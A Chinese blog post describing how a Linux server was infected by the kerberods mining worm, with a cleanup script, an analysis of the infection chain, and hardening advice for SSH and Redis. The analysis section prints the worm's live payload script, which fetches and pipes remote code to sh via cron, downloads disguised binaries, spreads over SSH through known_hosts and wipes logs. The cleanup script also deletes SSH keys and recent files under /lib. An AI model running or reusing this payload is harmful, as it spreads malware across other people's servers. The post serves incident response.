太恐怖了,Linux服务器感染了kerberods病毒...-轻识

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作者：他二哥
链接：https://www.cnblogs.com/kobexffx/p/11000337.html

一、症状及表现

1、CPU使用率异常，top命令显示CPU统计数数据均为0，利用busybox 查看CPU占用率之后，发现CPU被大量占用。

注：ls top ps等命令已经被病毒的动态链接库劫持，无法正常使用，大家需要下载busybox。

2、crontab 定时任务异常，存在以下内容；

3、后期病毒变异，劫持sshd，导致远程登陆失败，偶尔还会跳出定时任务失败，收到新邮件等问题

4、存在异常文件、异常进程以及异常开机项

二、查杀方法

1、断网，停止定时任务服务；

2、查杀病毒主程序，以及保护病毒的其他进程；

3、恢复被劫持的动态链接库和开机服务；

4、重启服务器和服务；

附查杀脚本(根据情况修改)

（脚本参考（https://blog.csdn.net/u010457406/article/details/89328869））

  1 #!/bin/bash  2 #可以重复执行几次，防止互相拉起导致删除失败3  4 function installBusyBox(){  5     #参考第一段  6     busybox|grep BusyBox |grep v  7 }8  9 function banHosts(){ 10     #删除免密认证，防止继续通过ssh进行扩散，后续需自行恢复，可不执行 11     busybox echo "" > /root/.ssh/authorized_keys 12     busybox echo "" > /root/.ssh/id_rsa 13     busybox echo "" > /root/.ssh/id_rsa.pub 14     busybox echo "" > /root/.ssh/known_hosts 15     #busybox echo "" > /root/.ssh/auth 16     #iptables -I INPUT -p tcp --dport 445 -j DROP 17     busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org" >> /etc/hosts 18 }1920 21 function fixCron(){ 22     #修复crontab 23     busybox chattr -i  /etc/cron.d/root  2>/dev/null 24     busybox rm -f /etc/cron.d/root 25     busybox chattr -i /var/spool/cron/root  2>/dev/null 26     busybox rm -f /var/spool/cron/root 27     busybox chattr -i /var/spool/cron/tomcat  2>/dev/null 28     busybox rm -f /var/spool/cron/tomcat 29     busybox chattr -i /var/spool/cron/crontabs/root  2>/dev/null 30     busybox rm -f /var/spool/cron/crontabs/root 31     busybox rm -rf /var/spool/cron/tmp.* 32     busybox rm -rf /var/spool/cron/crontabs 33     busybox touch /var/spool/cron/root 34     busybox chattr +i /var/spool/cron/root 35 }36 37 function killProcess(){ 38     #修复异常进程 39     #busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null 40     #busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null 41     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null 42     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null 43     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null 44     busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null 45     busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null 46     busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/kauditds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null 47     busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null 48     busybox rm -f /tmp/khugepageds 49     busybox rm -f /tmp/migrationds  50     busybox rm -f /tmp/sshd  51     busybox rm -f /tmp/kauditds 52     busybox rm -f /tmp/migrationds 53     busybox rm -f /usr/sbin/sshd 54     busybox rm -f /usr/sbin/kerberods 55     busybox rm -f /usr/sbin/kthrotlds 56     busybox rm -f /usr/sbin/kintegrityds 57     busybox rm -f /usr/sbin/kpsmouseds 58     busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf 59 }6061 62 function clearLib(){ 63     #修复动态库 64     busybox chattr -i /etc/ld.so.preload 65     busybox rm -f /etc/ld.so.preload 66     busybox rm -f /usr/local/lib/libcryptod.so 67     busybox rm -f /usr/local/lib/libcset.so 68     busybox chattr -i /etc/ld.so.preload 2>/dev/null 69     busybox chattr -i /usr/local/lib/libcryptod.so  2>/dev/null 70     busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null 71     busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf 72     busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf 73     busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf 74     busybox rm -f /etc/ld.so.cache 75     busybox rm -f /etc/ld.so.preload 76     busybox rm -f /usr/local/lib/libcryptod.so 77     busybox rm -f /usr/local/lib/libcset.so 78     busybox rm -rf /usr/local/lib/libdevmapped.so 79     busybox rm -rf /usr/local/lib/libpamcd.so  80     busybox rm -rf /usr/local/lib/libdevmapped.so 81     busybox touch /etc/ld.so.preload 82     busybox chattr +i /etc/ld.so.preload 83     ldconfig 84 }85 86 function clearInit(){ 87     #修复异常开机项 88     #chkconfig netdns off 2>/dev/null 89     #chkconfig –del netdns 2>/dev/null 90     #systemctl disable netdns 2>/dev/null 91     busybox rm -f /etc/rc.d/init.d/kerberods 92     busybox rm -f /etc/init.d/netdns 93     busybox rm -f /etc/rc.d/init.d/kthrotlds 94     busybox rm -f /etc/rc.d/init.d/kpsmouseds 95     busybox rm -f /etc/rc.d/init.d/kintegrityds 96     busybox rm -f /etc/rc3.d/S99netdns 97     #chkconfig watchdogs off 2>/dev/null 98     #chkconfig --del watchdogs 2>/dev/null 99     #chkconfig --del kworker 2>/dev/null100     #chkconfig --del netdns 2>/dev/null101 }102103 function recoverOk(){104     service crond start105     busybox sleep 3106     busybox chattr -i /var/spool/cron/root107     # 将杀毒进程加入到定时任务中，多次杀毒108     echo "*/10 * * * * /root/kerberods_kill.sh" | crontab -109     # 恢复被劫持的sshd 服务110     #busybox cp ~/sshd_new /usr/sbin/sshd 111     #service sshd restart 112     echo "OK,BETTER REBOOT YOUR DEVICE"113 }114115 #先停止crontab服务116 echo "1| stop crondtab service!"117 service crond stop118 #防止病毒继续扩散119 echo "2| banHosts!"120 banHosts121 #清除lib劫持122 echo "3| clearLib!"123 clearLib124 #修复crontab125 echo "4| fixCron!"126 fixCron127 #清理病毒进程128 echo "5| killProcess!"129 killProcess130 #删除异常开机项131 echo "6| clearInit! "132 clearInit133 #重启服务和系统134 echo "7| recover!"135 recoverOk

查杀完成以后重启服务器，发现过段时间，登陆主机，无论本地还是ssh远程登陆，依然会有病毒进程被拉起，观察top里面的进程，并用pstree 回溯进程之间的关系，发现每次用户登陆就会有病毒进程被拉起，怀疑登陆时加载文件存在问题，逐个排查下列文件：

/etc/profile，
~/.profile，
~/.bash_login，
~/.bash_profile，
~/.bashrc，
/etc/bashrc；

最后终于发现/etc/bashrc 文件被加入了一些似曾相识的语句

删除并次查杀病毒（重复之前查杀步骤），重启服务器，观察一段时间后不再有病毒程序被拉起，至此病毒被查杀完全。

三、病毒分析

1、感染路径

攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。
第一台感染的机器会读取known_hosts文件，遍历ssh登录，如果是做了免密登录认证，则将直接进行横向传播。

2、病毒主要模块

主恶意程序：kerberods
恶意Hook库：libcryptod.so libcryptod.c
挖矿程序：khugepageds
恶意脚本文件：netdns (用作kerberods的启停等管理)
恶意程序：sshd （劫持sshd服务，每次登陆均可拉起病毒进程）

3、执行顺序

① 执行恶意脚本下载命令

② 主进程操作

1> 添加至开机启动，以及/etc/bashrc

2> 生成了sshd文件劫持sshd服务

3> 将netdns文件设置为开机启动

4> 编译libcryptod.c为/usr/local/lib/libcryptod.so

5> 预加载动态链接库，恶意hook关键系统操作函数

6> 修改/etc/cron.d/root文件，增加定时任务

7> 拉起khugepageds挖矿进程

附病毒恶意进程代码

 1 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin 2  3 mkdir -p /tmp 4 chmod 1777 /tmp5 6 echo "* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh" | crontab -7 8 ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9 9 ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -910 ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -911 ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -912 ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -913 ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -914 ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -915 ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -916 ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -917 ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -918 ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -919 ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -920 ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -921 ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -922 ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -923 ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -924 ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -925 ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -926 ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -927 ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -928 ps -ef|grep -v grep|grep "axgtbc"|awk '{print $2}'|xargs kill -929 ps -ef|grep -v grep|grep "axgtfa"|awk '{print $2}'|xargs kill -930 ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -931 ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -932 ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -93334 cd /tmp35 touch /usr/local/bin/writeable && cd /usr/local/bin/36 touch /usr/libexec/writeable && cd /usr/libexec/37 touch /usr/bin/writeable && cd /usr/bin/38 rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable39 export PATH=$PATH:$(pwd)40 if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then41     chattr -i sshd42     rm -rf sshd43     ARCH=$(uname -m)44     if [ ${ARCH}x = "x86_64x" ]; then45         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -O sshd) && chmod +x sshd46     else47         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -O sshd) && chmod +x sshd48     fi49         $(pwd)/sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || ./sshd || /tmp/sshd || /usr/local/sbin/sshd50 fi5152 if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then53   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done54 fi5556 for file in /home/*57 do58     if test -d $file59     then60         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then61             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done62         fi63     fi64 done6566 echo 0>/var/spool/mail/root67 echo 0>/var/log/wtmp68 echo 0>/var/log/secure69 echo 0>/var/log/cron70 #

四、安全防护

1.SSH

① 谨慎做免密登录

② 尽量不使用默认的22端口

③ 增强root密码强度

2.Redis

① 增加授权认证(requirepass参数)

② 尽量使用docker版本(docker pull redis)

③ 隐藏重要的命令

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